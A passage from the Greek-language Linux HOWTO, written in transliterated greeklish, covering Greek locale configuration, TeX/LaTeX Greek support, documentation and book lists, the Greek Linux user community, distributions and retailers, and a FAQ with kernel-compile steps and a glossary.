 Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
 This is free software; see the source for copying conditions.  There is NO
 warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 Written by Ulrich Drepper.
 > ldd /bin/tcsh
        libnsl.so.1 => /lib/libnsl.so.1 (0x40003000)
        libncurses.so.4 => /usr/lib/libncurses.so.4 (0x4000a000)
        libcrypt.so.1 => /lib/libcrypt.so.1 (0x4004a000)
        libc.so.6 => /lib/libc.so.6 (0x40078000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x00000000)
  4. Katebaste mia pio prosfatn ekdosn twv topikwv ru8misewv
  5. Avaba8miste tnv libc

5.4 Ru8miseis diaforwv efarmogwv

Oi pio polles efarmoges to movo pou xreiazovtai eivai to LANG se el_GR.

  • X gevika: a)Pros8este sto /usr/X11R6/lib/X11/locale/locale.alias to el_GR.ISO-8859-7 el_GR.ISO8859-7 b) Gia ellnvikous titlous kai ovomata eikovidiwv *titleEncoding: ISO8859-7 *iconNameEncoding: ISO8859-7
  • LESS: MHN DHLWNETE TO LESSCHARSET. Me swsta locale, tnv swstn libc, kai to LANG se el_GR deixvei ta ellnvika kavovika. Efarmoges me mnvumata gettext (/usr/share/locale/el_GR/LC_MESSAGES/*.mo): To LANGUAGE se el_GR.
  • TCL/TK: Gia va sas afnvei va grafete ellnvika alla3te sto /usr/X11R6/lib/X11/locale/compose.dir apo iso8859-1/Compose C se #iso8859-1/Compose C
  • XTERM: Parte tnv ekdosn tou xterm apo tnv Xfree86 3.3 (diaferei apo tnv ekdosn twv X11R6.3) kai metaglwttiste me -DI18N.
  • SH-UTILS,FILE-UTILS,TEXT-UTILS: Merika programmata tous 8elouv glibc 2 gia dei3ouv ellnvikes nmeromnvies.
  • SYSLOGD:???????
  • Dikes sas efarmoges: Gia va mporeite va bazete mexri kai ellnvikes parametrous.
               #include <locale.h>
           .....
           setlocale(LC_ALL,"");
           .....
           >dokimn --ola
    Alles efarmoges kaveis;

5.5 Problnmata

Polla ;-).

Problnmata me tnv C Library (libc)

H METAGLWTTISMENH MORFH APO TA LOCALEDEF KAI GENCAT SUNH8WS ALLAZEI APO LIBC SE LIBC KAI ENA PROGRAMMA METAGLWTTISMENO ME TOUS HEADERS MIAS LIBC MPOREI NA MHN MPOREI NA DIABASEI THS TOPIKES RU8MISEIS FTIAGMENES APO ALLH BIBLIO8HKH.

Problnmata me ta X

Locale not supported from X library.(n kati paromoio) Eleg3te ta dikaiwmata stous upokatalogous

      # chmod -cR a+r /usr/share/locale /usr/X11R6/lib/locale
Eleg3te ta Xresources kai ya3te gia tipota upopto
      >xrdb -query
Blepe problnmata me tnv biblio8nkn tns C.

Problnmata pou dnmiourgouvtai otav ola eivai swsta ;-)

O daimovas syslogd apo8nkeuei ta dedomeva sta 7-bit kai polles efarmoges 8a tou stelvouv tis nmeromnvies sta ellnvika p.x.to PAM me apotelesma merikes fores va mnv mporeis deis tov mnva.

Merika programmata 8a perimevouv gia apavtnsn se erwtnsn "yes/no" avti gia "y" n "n"ta "v" kai "o" avtistoixa.

Stnv kovsola kalo eivai va exete mia grammatoseira iso-8859-7(ELOT-928). Eidika me ellnviko tcsh.

5.6 Epipleov plnrofories

  • Linux Locales Mini HOWTO: ftp://metalab.unc.edu/pub/Linux/doc/HOWTO/mini/locales
  • NLS repository: http://www.iro.umontreal.ca/contrib/po/
  • NLS utilities for Linux: ftp://metalab.unc.edu/pub/Linux/utils/nls
  • Public domain locale and charmap sources: ftp://dkuug.dk/i18n
Uparxouv ta man pages: locale.5 locale.7 setlocale.2


HELLENIC HOWTO: Tex/LaTex

 Next Previous Contents

6. Tex/LaTex

To TeX/LateX eivai eva sustnma stoixeio8esias (typesetting), pou briskotav se eureia xrnsn stnv dekaetia 75-85. Eivai kai snmera xrnsimo gia tnv suggrafn epistnmovikou keimevou, ka8ws upostnrizei polu kala tis ma8nmatikes parastaseis (peta3te to word gia pavta), ta (polutovika) ellnvika kai luvei polla idioru8ma tupografika problnmata.

Ta sxetika me to TeX/LateX, uparxouv pleov se eva 3exwristo HOWTO: GreekTeXFAQ. Deite gia ta sxetika kai to kefalaio Links-gia-Tex .

To TeX eivai eva programma pou eftia3e arxika o ka8ngntns Donald E. Knuth tou Stanford University, gia to grayimo keimevwv me polla ma8nmatika. Arxika to TeX dev upostnrize ellnvika, para movo ta liga ellnvika sumbola pou xrnsimopoiouv oi ma8nmatikoi polles fores gia va dnlwsouv metablntes se e3iswseis opws:

$ y = \alpha\,x^2 $
opou to TeX avtika8ista to \alpha me to ellnviko "a".

Auto omws dev eivai kai toso boliko, giati to TeX xeirizetai kapws diaforetika ta ellnvika se math-mode (to eidiko mode tou TeX sto opoio grafetai ka8e e3iswsn) kai diaforetika se horizontal-mode pou grafetai to aplo keimevo. Kai safws kaveis dev 8a n8ele va prepei va grafei tragika pragmata opws:

{$\Epsilon$}$\lambda${$\lambda$}$\'\alpha${$\delta$}$\alpha$.
movo kai movo gia va grayei "Ellada".

Mia prwtn lusn nr8e me to project BABEL tou TeX-Users-Group, n opoia perigrafetai parakatw.

6.1 To project BABEL

To project BABEL mporei va bre8ei se ola ta Comprehensive-TeX-Archive-Network (CTAN) mirrors. Eivai sto directory .../tex-archive/babel/ kai n ellnvikn upostnri3n tou BABEL uparxei sto .../tex-archive/babel/greek/* .

To project BABEL exei ftiax8ei kuriws apo 3evous, omws, pou dev grafouv se "pragmatika ellnvika", alla se greeklish. Etsi, gia paradeigma n le3n "Ellada" grafetai sav:

\GR{}Ella'da\EN{}

Pou eivai safws mia beltiwsn apo to apaisio $...$ kolpo.

Me ta katallnla filtra to BABEL mporei va ftiax8ei etsi wste va upostnrizei pragmatika ellnvika, kai telika va grafei kaveis:

Ellada
kai to filtro va to metatrepei sto prongoumevo paradeigma, wste to BABEL va douleyei swsta!

6.2 Prospa8eies e3ellnvismou tou Tex/LaTex

Sto ITU (Ivstitouto Texvologias Upologistwv), uparxei eva project me to ovoma GRTeX. Blepe "Diplwmatikn ergasia GRTeX, Stefavos Maggavarns, Iouvios 1989, Patra, Tmnma Mnx. H/U kai Plnr."

Episns, o G. Spnliwtns exei kavei diplwmatikn ergasia sto Pav/mio A8nvas gia Ellnvika sto TeX/LaTeX.

6.3 Suvdesmoi gia Tex/LaTex

  • http://magaz.hellug.gr/04/05_babel.html 1o ar8ro sto magaz gia ellnviko TeX/LateX
  • http://magaz.hellug.gr/08/07_GreekTeXFAQ.html 2o ar8ro sto magaz gia TeX (Odngies egkatastasns - FAQ)
  • ftp://ftp.tex.ac.uk:/pub/tex/fonts/greek/ Autos eivai o katalogos gia ellnvika sto CTAN
  • ftp://obelix.ee.duth.gr/pub/TeX Kaln sullogn gia TeX kai ellnvika
  • http://obelix.ee.duth.gr/eft/ Sullogos Ellnvwv filwv tou TeX
  • http://obelix.ee.duth.gr/eft/Greekinf/ Diafora ergaleia gia LateX
  • http://ctan.unsw.edu.au/tex-archive/help/greek/greek.faq faq gia ellnviko LateX, alla palio (4/94)

Oi e3upnretes tou CTAN (Comprehensive TeX Archive Netowrk) eivai:

  • ftp.tex.ac.uk (128.232.1.87)
  • ftp.dante.de (129.206.100.192)
  • ftp.cdrom.com/pub/tex/ctan
  • ftp.ee.up.ac.za


HELLENIC HOWTO: Hlektrovikn tekmnriwsn kai biblia

 Next Previous Contents

7. Hlektrovikn tekmnriwsn kai biblia

7.1 Linux Documentation Project

To Linux Documentation Project (LDP) eivai mia prospa8eia va graftei oln n tekmnriwsn tou Linux nlektrovika, kai va orgavw8ei eviaia. Ola ta HOWTO, FAQ, manual pages, Guides avnkouv sto LDP, kai briskovtai stov kombo tou metalab ( http://metalab.unc.edu/LDP/). Na snmeiw8ei oti kai auto to keimevo eivai tmnma tou LDP kai brisketai: http://metalab.unc.edu/LDP/HOWTO.

Epimevete ellnvika omws kai protimate tous ka8reptismous (!) tou LDP:

  • http://linux.forthnet.gr/LDP/, Contact: Sotiris Tsimbonis, tsimbonis@forthnet.gr, Updated: DAILY, Location: Katerini, Greece
  • http://www.ichannel.gr/linux/LDP/, Contact: Dimitris Demiris, ddemiris@ichannel.gr, Updated: DAILY, Location: Volos, Greece

Olo to metalab ( prwnv sunsite) uparxei kai stnv Ellada sto: http://sunsite.ics.forth.gr/

To tmnma gia linux eivai: ftp://sunsite.ics.forth.gr/sunsite/linux

7.2 Periodika

To ellnviko on-line periodiko magaz eivai prwtns dialogns: http://magaz.hellug.gr.

To Linux Gazette eivai eva kalo on-line periodiko stnv agglikn glwssa kai brisketai stnv dieu8uvsn: http://www.ssc.com/lg/. Mirror tou uparxei kai edw: http://www.eexi.gr/mirrors/lg/lg_frontpage.html.

To movo evtupo periodiko pou kukloforei stnv Ellada gia to Linux, eivai to (amerikaviko) Linux Journal, pou mporei va to promn8eutei kaveis apo ta texvika bibliopwleia kai katastnmata H/U, kuriws.

7.3 Biblia eidika gia Linux

Mark G. Sobell, A Practical Guide to Linux, Addison-Wesley Pub Co, ISBN: 0201895498 (*) Suvistatai avepifulakta, deite apo to amazon.com to e3wfullo tou: http://www.amazon.com/exec/obidos/ASIN/0201895498/.

M. Welsh, L. Kaufman, Running Linux, O'Reilly & Associates, ISBN: 1565921518 (*)

O. Kirch, Linux Network Administrator's Guide, O'Reilly & Associates, Inc. (*)

LDP, The Linux Bible 3rd Edition, Yggdrasil Computing, Inc.

7.4 Unix gia Arxarious

B.Kernighan, R.Pike, The UNIX programming Environment, 1984, ISBN 0-13-937681-X E3ngnsn tou Unix gia arxarious. Pukvogrammevo alla katavonto. Klassiko biblio pavepistnmiakwv sxolwv. (*) (**GR)

H. Hahn, A Student's Guide to Unix, McGraw Hill, 1993, ISBN: 0-07-025511-3 Eva polu kalo eisagwgiko biblio gia to Unix. Se apln glwssa o suggrafeas e3ngei stov arxario oti 8elei va 3erei gia to Unix kai to Internet. DEN APAITEITAI PROEMPEIRIA (*)

M. Waite, D. Martin e S. Prata, The Waite Group's Unix System V Primer, Sams, 1992, ISBN: 0-672-30194-6 Eva e3aireto egxeridio gia Unix/SVR4. (**GR)

D. Libes, S. Ressler, Life with Unix - A Guide for Everyone, Prentice Hall, 1990, ISBN: 0-13-536657-7 Otidnpote 8a 8elate va ma8ete gia to Unix. Periexei duseuretes plnrofories.

7.5 Unix gia Proxwrnmevous

M. J. Bach, The design of the Unix operating system, Prentice-Hall International, 461 pp, ISBN: 0-13-201757-1 Sumfwva kai me tov titlo tou, perigrafei tnv sxediasn tou Unix se ba8os.

P. Abrahams, B. Larson, Unix for the Impatient, Addison Wesley, 1995, ISBN: 0-201-55703-7 Keimevo avaforas sto Unix, suvoptiko alla kai plnres. Eivai katallnlo gia va briskei kaveis grngora kai me akribeia, apavtnseis se problnmata. (*)

W.R. Stevens, Advanced Programming in the UNIX Environment, Addison Wesley, 1996, ISBN: 0-201-56317-7 To katallnlo biblio gia opoiov 8elei va programmatisei sto Unix. (*)

W.R. Stevens, UNIX Network Programming, Addison Wesley, 1996, ISBN: 0-13-90012-X Eav skefteste va asxoln8eite me programmatismo se diktuo (px Internet, TCP/IP) nr8e n wra va agorasete auto to biblio. (*)

7.6 Diaxeirisn Sustnmatos

E. Nemeth, G. Snyder, S. Seebass, Unix System Administration Handbook, Prentice-Hall, 1995, ISBN: 0-13-933441-6 Klassiko biblio, biblos tou diaxeiristn (*)

D. r, B. Hunter, B. Smith, Unix System V Release 4 Administration, Hayden, 1991, ISBN: 0-672-22810-6 Sxoliazetai ws to aparaitnto biblio gia tnv orgavwsn evos praktikou, apodotikou kai paragwgikou Unix.

AEleen Frisch, Essential System Administration 2nd Edition, O'Reilly & Associates, 1996, ISBN 15659212755 Eva e3airetiko biblio gia Diaxeirisn Sustnmatos me polles plnrofories eidika gia to Linux. (*)

7.7 Asfaleia Sustnmatos sto Unix

S. Garfinkel, G. Spafford, Practical Unix Security and Internet, O'Reilly, 1996, ISBN: 0-937175-72-2 Ola ta aparaitnta metra gia va kavete to sustnma sas oso to duvatov asfalestero. (*)

7.8 Unix kai Internet

AA.VV., Building a Unix Internet Server, New Riders, ISBN: 1-56205-494-5 Periexei CD me ola ta xrnsima ergaleia, gia tnv egkatastasn evos Internet Server.

Que, Running perfect internet site with linux, U. Hoepli ed., 1995, ISBN 0789705141

7.9 Ellnvika biblia gia to UNIX

Osa biblia apo ta parapavw eivai me (*), uparxouv stnv Ellada, av kai ametafrasta. Osa biblia apo ta parapavw eivai me (**GR), uparxouv stnv Ellada metafrasmeva. Kalutera bebaia rwtnste sta bibliopwleia gia sigouria (bl. CDdistribs )


HELLENIC HOWTO: To Linux stnv Ellada

 Next Previous Contents

8. To Linux stnv Ellada

Oi evergoi Ellnves xrnstes prepei va eivai pleov pavw apo xilioi (Okt. 98) kai exouv sxnmatisei eva diktuo meta3u tous, pou perilambavei kombous FTP, news hosts me omades suzntnsewv, IRC channels kai proswpikes selides sto Internet. Ta pio snmavtika snmeia pou prepei kaveis va episkeftei eivai tov kevtriko ellnviko kombo www.linux.gr kai tis selides tou vomika avagvwrismevou sullogou Hellug, stnv dieu8uvsn www.hellug.gr. To -peripou mnviaio- periodiko magaz eivai evdeiktiko twv epituxnmevwv ellnvikwv prospa8eiwv: magaz.hellug.gr.

8.1 Listes kai omades suzntnsewv (Newsgroups)

H taktikn epikoivwvia Ellnvwv gia to Linux givetai apo tnv linux.greek.users, arxika ftiagmevn me prwtoboulia tou Giavvn Iwavvou, stov Argea (tote argeas.argos.hol.gr, vuv argeas.hellug.gr) kai twra trexei sto mnxavnma tou sullogou, Epeidn tnv lista tnv diabazouv polloi, pou pi8avov dev exouv ellnvika, eivai kaln taktikn va xrnsimopoiouvtai greeklish:

ayta edv, as poume, einai greeklish.
Uparxei kai list-news gateway tns linux.greek.users stnv dieu8uvsn: news://edessa.topo.auth.gr/local.linux.greek.users To gateway xrnsimeuei gia va summetexei kaveis kai va blepei ta 8emata xwris va xreiazetai va graftei. Ri3te mia matia, kai epavel8ete otav exete apories. Uparxei kai META FAQ stnv dieu8uvsn http://linux.forthnet.gr/~stsimb/linux/meta-faq.html.

Ektos apo tnv linux-greek-users, uparxei kai n linux-howto (apokleistika gia osous suvtnrouv keimeva tou linux sta ellnvika n avalambavouv va ektelesouv kapoies ergasies) kai n hellug (sxetika me tov pavellnvio sullogo).

H selida me tnv lista twv listwv mas eivai sto http://lists.hellug.gr/,

8.2 IRC

IRC channel, xrnsimo gia ameses erwtnseis kai suzntnseis, eivai to #linux-gr. H selida tou eivai http://www.co.umist.ac.uk/~vp/irc/ Aln8eia eivai oti to kavali eivai suxva xwris polukosmia, se tetoia periptwsn protimnste tnv linux-greek-users.

8.3 Fidonet

Sto Fidonet, uparxei n sxetikn omada suzntnsns "gr.unix", pou suvn8ws exei kai postings sxetika me to Linux. Tnv omada autn, mporei va tnv parakolou8nsei kaveis, apo tis BBS ellnvikou Fidonet (bl. http://www.fidonet.gr) Prosoxn 8elei to oti merikes fores suvavtame 737 ellnvika n/kai flames.

Kai edw uparxei fido-news gateway: news://news.fidonet.gr/fido.gr.unix kai news://edessa.topo.auth.gr/fido.gr.unix

8.4 Omades Ellnvwv Xrnstwv tou Linux

O sullogos HELLUG eivai de facto o pavellnvios sullogos twv xrnstwv tou Linux. 3ekivnse stnv A8nva apo tov Kwsta Blassn me autes tis selides stnv compulink: http://www.compulink.gr/linux/.

Mn episnma avagvwrismeves omades uparxouv stnv 8essalovikn (TheLUG) kai tnv Patra (PLUG). Oi omades eivai avoixtes se vea meln kai evdiaferomevous gia to Linux.

Eav evdiafereste gia tnv dnmiourgia evos LUG stnv perioxn sas, diabaste prwta auto: http://www.ntlug.org/archive/lug-howto/index.html.

HELLUG

O sullogos Ellnvwv Xrnstwv kai Filwv Linux HELLUG eivai evas mn kerdoskopikos, vomika avagvwrismevos sullogos apo tov Noembrio tou 1998. Osoi asxolouvtai me to Linux stnv Ellada, eivai kalo va eivai toulaxistov evnmerwmevoi gia tnv upar3n tou. O sullogos ev8arruvei opoiadnpote prospa8eia prow8nsns tou Linux, kai eivai pro8umos gia suvergasia me etaireies n idiwtes gia tnv prow8nsn tou Linux stnv Ellada kai tnv evnmerwsn gurw apo auto.

Gia perissoteres plnrofories deite: http://www.hellug.gr

PLUG

Stnv Patra, sto tmnma Mnxavikwv H/U kai Plnroforikns, edreuei to PLUG (Patras Linux Users Group). http://students.ceid.upatras.gr/~glavas/linux/

TheLUG

Stnv 8essalovikn, uparxei to TheLUG, pou edreuei se ...taberva. Deite sto http://hal.csd.auth.gr/thelug/

8.5 Egw pws mporw va bon8nsw

Kat' arxn yaxvovtas kai diabazovtas prwta kai meta rwtwvtas, giati kaveis dev exei kairo gia xasimo. Afou breite mia lusn pou dev eivai gvwstn, parakaloume evnmerwste kai tous upoloipous.

Oi pleov snmavtikes ergasies eivai:

  • Lexis, Le3iko orologias plnroforikns (Aggloellnviko, gia omoiogeveia metafrasewv)
  • Ellnvika HOWTOs, FAQs kai avtistoixn tekmnriwsn
  • E3ellnvismos tou periballovtos kai twv muvnmatwv tou KDE, GNOME
  • Upostnri3n ellnvikwv mesw NLS
  • E3ellnvismos diavomwv, swstn upostnri3n ellnvikwv. To Suse brisketai ndn se kalo dromo.
Deite sto http://server.hellug.gr/LUGistics/el/pub/PRJ_main.php3 gia avalutikoteres plnrofories. Eav pisteuete oti eiste se 8esn va suveisferete se kapoio apo ta parapavw, parakaloume kavte to.

Eivai polu snmavtiko eav breite tnv lusn se kapoio problnma kai dev avaferetai stov kwdika n stnv tekmnriwsn (px se auto to keimevo), va avatre3ete stov avtistoixo suggrafea kai va tov evnmerwsete, n va grayete eva diko sas ar8ro gia to magaz n akoma kai HOWTO to opoio 8a prepei va mas steilete sto Hellug, gia va mpei mazi me ta alla ellnvika keimeva.

Eav prokeitai gia allagn se kapoio programma (px 8bit patch), apeu8uv8eite stov sxetiko programmatistn, n etoimaste mia compiled ekdosn gia tov ftp server tou Hellug. Prospa8eiste va kavete osov to duvatov pio oloklnrwmevn douleia kai akolou8eiste ta protupa kai me8odous pou akolou8ouv oloi oi alloi.

8.6 Internet Sites

WWW

  • http://www.linux.gr
  • http://www.hellug.gr
  • http://magaz.hellug.gr

FTP

Episnmo pleov FTP site gia oti afora Ellnves kai Ellnvika sto Linux ftp://argeas.hellug.gr/pub/unix/linux/GREEK/

Gia diavomes tou Linux deite:

  • FTP.LINUX.GR - /pub/
  • NTUA - /pub/linux
  • Forthnet - /pub/linux
  • Compulink /pub/linux

Komboi tns Allodapns :-)

  • http://metalab.unc.edu/LDP/ Edw stegazetai to Linux Documentation Project, to kevtriko snmeio tekmnriwsns tou Linux
  • http://www.linux.org/ Auto eivai to linux.org. 8ewrntika 8a eprepe apo edw va pngaivei kaveis grngora opoudnpote, alla auto dev sumbaivei pavta stnv pra3n. Eivai bebaia eva polu snmavtiko site.
  • http://www.linux.eu.org/ To paveurwpaiko diktuo kombwv.
  • http://www.li.org/ Edw brisketai to Linux International, meln tou eivai (megales) etaireies plnroforikns
  • http://www.linuxnow.com/ O kombos autos eivai kaivourios kai arketa orgavwmevos. Periexei SOFTWARE, HOWTOs, FAQs, klp.
  • http://www.ssc.com/lj/ H selida tou Linux Journal, mnviaiou amerikavikou periodikou gia to Linux
  • http://www.ssc.com/lg/ H selida tou Linux Gazette, mnviaiou nlektrovikou periodikou gia to Linux
  • http://www.linuxmall.com/ Autos o kombos eivai eva emporiko kevtro afierwmevo sto Linux.
  • Yahoo.com->computers->operating_systems->Linux H selida tou 8ematikou euretnriou tou Yahoo gia to Linux. Exei arketa pragmata.

8.7 Diavomes kai CD

To Linux epeidn eivai ftiagmevo apo pollous kai xwris kevtrikn orgavwsn, dia8etei polles "diavomes" (distributions), ka8e mia me ta dika tns xaraktnristika kai oxi aparaitnta kalutern se ola apo tis upoloipes:

  • Slackware Palaiotera ntav n pio suvn8ismevn. H teleutaia ekdosn (5/99) eivai n 3.6, deite http://www.slackware.org
  • Redhat Exei grafiko periballov egkatastasns kai eivai pio polu gia arxarious. Episns n egkatastasn ekkiveitai eukola apo DOS, grafovtas apla REDHAT. Megaln eukolia eivai to RPM pou epitrepei eukoln (ap)egkatastasn efarmogwv. Blepe http://www.redhat.com
  • Debian Legetai kai GNU/Linux kai idiaitero xaraktnristiko eivai oti eivai upo tnv epibleyn tns GNU. Deite: http://www.debian.org
  • Hellenic Ellnvikn diavomn, apo tnv Synaptic Ltd "Software Development & Trade". H diavomn autn exei e3avtln8ei kai eivai sxetika palia.
  • OpenLinux Apo tnv Caldera, arketa sovarn diavomn me megaln apnxnsn stnv Amerikn. Deite http://www.calderasystems.com/products/openlinux
  • Yggdrasil To prwto plug-n-play Linux. Deite: http://www.yggdrasil.com
  • Suse H pio megaln se pwlnseis stnv Eurwpn. Uparxei se germavikn, agglikn, italikn, gallikn distribution. Deite: http://www.suse.de/e Apo tnv ekdosn 6.0 kai meta exei upostnri3n ellnvikwv evswmatwmevn, akoma kai egkatastasn sta ellnvika.

Apo tis diavomes autes prokuptouv kai ta avtistoixa CD:

  • Walnut Creek ( http://www.cdrom.com) Exei to Slackware.
  • Redhat ( http://www.redhat.com) Exei tnv omwvumn diavomn. Teleutaia ekdosn n 6.0
  • SuSe ( http://www.suse.com) Exei tnv omwvumn diavomn. Teleutaia agglikn ekdosn n 6.3 (Noembriou 1999)
  • Infomagic http://www.infomagic.com Exei ta parapavw, tnv Debian KAI tous katalogous tou metalab.unc.edu kai tsx-11.mit.edu. Legetai "Linux Developer's Resource" eivai ligo apo ola kai exei 6 CD.

8.8 Bibliopwleia kai diavomeis twv CD

To Linux se CD to briskei kaveis sta e3ns katastnmata:

A8HNA:

  • STEP, Aktn Moutsopoulou 36, TK18536, Peiraias, 4181239, Exei to Suse Linux ( http://www.step.gr)
  • Papaswtnriou A.E., Stourvarn 3, TK10682, A8HNA, 3809821, 3848254 ( http://www.papasotiriou.gr)
  • Papaswtnriou A.E., Kolokwtrwvn 10, Emp. Kevtro Kerasies Knfisias, 6231854
  • Ekdoseis Kleidari8mos, Stourvarn 37, TK10682, A8HNA, 3829629, 3841021, 3300104 ( http://www.klidarithmos.gr)
  • Vertigo EPE, Mpotasn 6, TK10682, A8HNA, 3824536, 3806801 (+FAX)

8ESSALONIKH:

  • Informatics Services Application, Dwdekavnsou 61, TK55131, Kalamaria, 031-424512, ( http://www.suse.gr)
  • Malliarns Paideia, Aristotelous 9 ( http://www.malliaris.gr)
  • Papaswtnriou A.E., E8v. Amuvns 40, 243660

PATRA:

  • Papaswtnriou A.E., Maizwvos 58, TK 26221, 061-624918, 061-624917
H parapavw lista evdexomevws dev eivai plnrns. Eav gvwrizete kapoia stoixeia pou mou eivai agvwsta n avakribn, parakalw evnmerwste me.


HELLENIC HOWTO: FAQ

 Next Previous Contents

9. FAQ

9.1 Pws 3ekivnse to Linux;

To Linux eivai ousiastika movo o purnvas tou Leitourgikou sustnmatos, kai 3ekivnse to 1990 apo evav fivlavdo foitntn tov Linus Torvalds, sav omadikn peiramatikn idea stov tote kaivourio 386. Ta upoloipa ta gvwrizete...

9.2 Ti logous exw gia va egkatastnsw to Linux;

Eav 8elete eva a3iopisto leitourgiko sustnma, me kaln apodosn, xwris kollnmata kai pln8wra efarmogwv kai dev fobaste eva kaivourio periballov ergasias, tote to Linux eivai gia esas. Mporeite px me ?.000drx va to agorasete se 6 CD, mazi me tis polles efarmoges tou, n va dwsete kati parapavw gia va parete mia eukoln sto stnsimo diavomn mazi me egxeiridio xrnsns.

To Linux eivai eva ka8ara 32bit Leitourgiko Sustnma, me poluepe3ergastikes (multitasking) duvatotntes. Stnv pra3n auto snmaivei, oti mporeite va trexete polles efarmoges tautoxrova, xwris kivduvo va "kremasei" o upologistns. To Linux exei:

  • kalutern a3iopoinsn tou sustnmatos apo to DOS, Win 3.x
  • kalutero multitasking apo ta Windows 95,
  • kalutern apodosn apo ta Windows NT,
  • polles efarmoges se sugkrisn me to OS/2.
To Linux ws gvnsio Unix, exei eggevws ulopoinmevo to TCP/IP, to prwtokollo tou Internet. Eivai katallnlo gia diktuakes efarmoges, kai mporei va douleyei me a3iopistia ws dromologntns n proxy. Exei POSIX compliance kai upostnrizei TCP/IP & SPX/IPX, SNMP & RIP, NCP, SMB. Ws server eivai polu duvato se oles autes tis periptwseis: file server, printer server, web server, ftp server, news server, mail (pop) server. Mporei va avtikatastnsei eva sustnma me Windows NT n Novell Netware DIAFANA gia tous clients. To Linux eivai suvufasmevo me to GNU project tns Free Software Foundation (FSF). To GNU ekfrazei mia filosofia suvergasias, opou kapoios pou grafei eva programma to dia8etei se olous aveu amoibns. Apotelesma autou eivai n eleu8ern avtigrafn tou, kai oti eivai dwreav. Stnv periptwsn twv CD, plnrwvei kaveis movo to kostos tous.

9.3 Pws mporw va ma8w ta basika gia to Linux;

Polu ektevns avalusn, ka8ws kai kala epilegmevo didaktiko uliko, sta agglika, uparxei edw: http://basiclinux.hypermart.net/basic/index.html#lessons.

9.4 Sumbatotnta;

Kat' arxnv to Linux diabazei ola ta fileystems twv allwv leitourgikwv (FAT, VFAT, FAT32, NTFS, HPFS, HFS, ISO9660, Rock-Ridge, Joliet, UFS klp).

  • To DOSEMU 8a sas epitreyei va tre3ete efarmoges tou DOS pou trexouv se eikovikes mnxaves upo tov elegxo tou purnva (vm86). Douleuei polu a3iopista kai diati8etai dwreav opws to Linux.
  • To WABI 8a sas epitreyei va tre3ete 16bit efarmoges twv WIN3.11, alla stoixizei 199$
  • To WINE kavei tnv idia douleia dwreav, alla oxi toso kala. Teleutaia (1999) deixvei sobara snmadia wrimavsns.
  • To Executor mporei va tre3ei efarmoges gia Macintosh.
Oi pio polloi evdiaferovtai gia va mporouv va diabazouv arxeia doc pou proerxovtai apo Office kai uparxei gia autous to StarOffice 5.1, pou diabazei mexri kai Word 97 keimeva. Eav apo8nkeuate ta dedomeva sas xrnsimopoiwvtas avoixta protupa (txt, dbf, html, rtf), 8a breite toulaxistov eva ergaleio gia va douleyete me auta, eav oxi...

9.5 Ti SOFTWARE upostnrizetai;

Praktika ta pavta, arkei va milame gia avoikta kai diadedomeva protupa kai prwtokolla: sxedov pote dev eiste o prwtos pou exei eva sugkekrimevo problnma kai kapoios allos to exei lusei gia esas.

To metalab eivai to kat' e3oxnv snmeio gia va brei kaveis programmata gurw apo to avtikeimevo pou tov evdiaferei, deite http://metalab.unc.edu/pub/Linux/

To Linux Software Map (LSM) exei olo to uparxov logismiko. Mporeite va kavete kai avazntnsn me le3eis kleidia. http://www.boutell.com/lsm/

Episns polu dnmofileis eivai kai oi selides tou Bill Latura: http://www.xnet.com/~blatura/linapps.shtml

9.6 Ti eivai to compile tou purnva;

Sto Linux tov purnva mporei kaveis va tov ftia3ei o idios, me mia diadikasia pou legetai compile. Av kai eivai duvatov va douleyei kapoios me evav etoimo, eivai kaln idea va ftia3ei evav purnva prosarmosmevo sto sustnma tou, idiaitera eav 8elei e3eidikeumeves duvatotntes. H diadikasia suvistatai idiaitera se autous pou 8elouv va mple3ouv me ta evdotera tou leitourgikou sustnmatos.

Oi evtoles pou xreiazovtai gia eva tupiko compile eivai (ta # eivai sxolia):

cd /usr/src/linux
make config      # n make menuconfig n make xconfig, exei kai help.
make dep
make clean
make zImage  # meta apo auto, uparxei o purnvas sto /usr/src/linux/arch/i386/boot/zImage
make modules # Ta modules ftiaxvovtai priv arxisei n diadikasia egkatastasns
make modules_install # Egkatastasn twv modules sto /lib
make install # prosoxn va uparxouv oi swstes ru8miseis sto /etc/lilo.conf
H teleutaia evtoln eivai autn pou 8a stnsei tov purnva (suvn8ws sto /vmlinuz), suvdeovtas tov me tov boot loader LILO. Eva reboot, 8a balei tov veo purnva se xrnsn... (molis brnkate tov movadiko logo pou kavei kaveis reboot me linux).

9.7 Ti eivai auto to SIG11;

To SIG11 eivai ousiastika eva sfalma prostasias (Protection Fault). Eivai arketa pi8avo va sumbei tnv wra pou ftiaxvoume purnva kai n aitia eivai oti to sustnma ekeivn tnv wra zorizetai - DIABASTE: Polla SIG11 snmaivouv kako uliko n problnmata sumbatotntas me tnv mvnmn,tov epe3ergastn, tnv mntrikn. Gia perissoteres plnrofories, deite: http://www.bitwizard.nl/sig11/

9.8 Uparxouv alla eleu8era Unix;

Sto xwro tou Unix exoume ta e3ns eleu8erns xrnsns leitourgika:

  • Linux
  • GNU Hurd
  • FreeBSD
  • NetBSD
  • OpenBSD
Apo ola auta movo to FreeBSD exei praktikn a3ia, eivai idiaitera gvwsto gia tnv sta8erotnta tou kai tnv apodosn tou se sustnmata e3upnretwv me evtovn xrnsn (px ftp.cdrom.com). Eivai par' ola auta pio dusxrnsto apo to Linux, kai dev exei tetoia pln8wra logismikou. Teleutaia, trexei ta pio polla programmata tou Linux me e3omoiwsn. Eav 8elete va peiramatisteite me tupou BSD UNIX, a3izei va asxoln8eite mazi tou.

9.9 Basikn orologia

i18n

I{-- 18 letters --}n = Internationalization

e13n

Europeanization

l10n

Localization

ANSI

American National Standards Institute, the US member of ISO

ASCII

American Standard Code of Information Interchange

CP

Code Page

CP850

Code Page 850, the most widely used MS DOS code page

CR

Carriage Return

CTAN server

Comprehensive TeX Archive Network, the world's largest repository for TeX related material. It consists of three sites mirrowing each other: ftp.shsu.edu, ftp.tex.ac.uk, ftp.dante.de. The current configuration, including known mirrows, can be obtained by fingering ctan_us@ftp.shsu.edu

DEC

Digital Equipment Corp.

DIN

Deutsche Industrie Norm (German Industry Norm)

DOS

Disk Operating System

EBCDIC

Extended Binary Coded Decimal Interchange Code ---a proprietary IBM character set used on mainframes

ECMA

European Computer Manufacturer's Association

emacs

Editing Macros, a family of popular text editors

Esperanto

A synthetic, universal language developed by Dr. Zamenhof in 1887.

FSF

Free Software Foundation

FTP

